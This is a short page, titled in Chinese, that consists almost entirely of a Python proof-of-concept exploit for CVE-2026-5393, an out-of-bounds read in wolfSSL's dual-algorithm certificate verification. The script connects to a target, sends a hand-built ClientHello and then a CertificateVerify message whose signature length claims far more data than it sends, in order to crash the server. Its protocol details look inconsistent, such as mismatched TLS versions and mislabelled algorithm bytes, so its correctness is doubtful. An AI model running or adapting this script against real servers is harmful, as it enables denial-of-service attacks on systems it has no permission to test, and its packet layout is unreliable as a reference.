CVE-2026-5393 wolfSSL双算法证书验证越界读取漏洞

import socket import struct # PoC for CVE-2026-5393: wolfSSL Dual-Algorithm CertificateVerify Out-of-Bounds Read # This script attempts to trigger the crash by sending a crafted CertificateVerify message. # Target must be compiled with --enable-experimental and --enable-dual-alg-certs. def trigger_vulnerability(host, port): print(f"[*] Connecting to {host}:{port}...") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # 1. Send ClientHello (Simplified structure for demonstration) # Record Layer: Handshake record_header = b'\x16\x03\x01\x00\x2b' # Handshake Header: ClientHello handshake_header = b'\x01\x00\x00\x27' # Version: TLS 1.0 version = b'\x03\x01' # Random (32 bytes) random = b'\x00' * 32 # Session ID Length: 0 sid_len = b'\x00' # Cipher Suites Length: 2 cipher_len = struct.pack('!H', 2) # Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA cipher_suite = b'\x00\x2f' # Compression Methods Length: 1 comp_len = b'\x01' # Compression Method: NULL comp_method = b'\x00' client_hello = record_header + handshake_header + version + random + sid_len + cipher_len + cipher_suite + comp_len + comp_method s.send(client_hello) # Wait for ServerHello (Skipped in this simple PoC, assuming handshake proceeds) s.recv(4096) # 2. Send Crafted CertificateVerify Message # The vulnerability occurs in parsing the dual-algorithm signature. # We send a malformed length to trigger the out-of-bounds read. # TLS Record Layer tls_record = b'\x16\x03\x03\x00\x20' # Type: Handshake, Version: TLS 1.2, Length: 32 # Handshake Message: CertificateVerify msg_type = b'\x0f' # CertificateVerify # Length: Malformed (Large length to cause OOB read) msg_len_3 = b'\x00\x00\x20' # Signature Hash Algorithm: RSA (0x01) # Signature Algorithm: SHA256 (0x04) sig_alg = b'\x01\x04' # Crafted signature payload (truncated to trigger read past buffer) sig_len = struct.pack('!H', 0x7FFF) # Claim large length sig_data = b'A' * 10 # Send small data payload = msg_type + msg_len_3 + sig_alg + sig_len + sig_data full_packet = tls_record + payload print("[*] Sending malformed CertificateVerify message...") s.send(full_packet) # Check response response = s.recv(1024) if not response: print("[+] Connection closed. Potential crash (DoS) triggered.") else: print("[-] Server responded. Vulnerability might not be triggered or patched.") except Exception as e: print(f"[!] Error: {e}") finally: s.close() # Usage # trigger_vulnerability("127.0.0.1", 11111)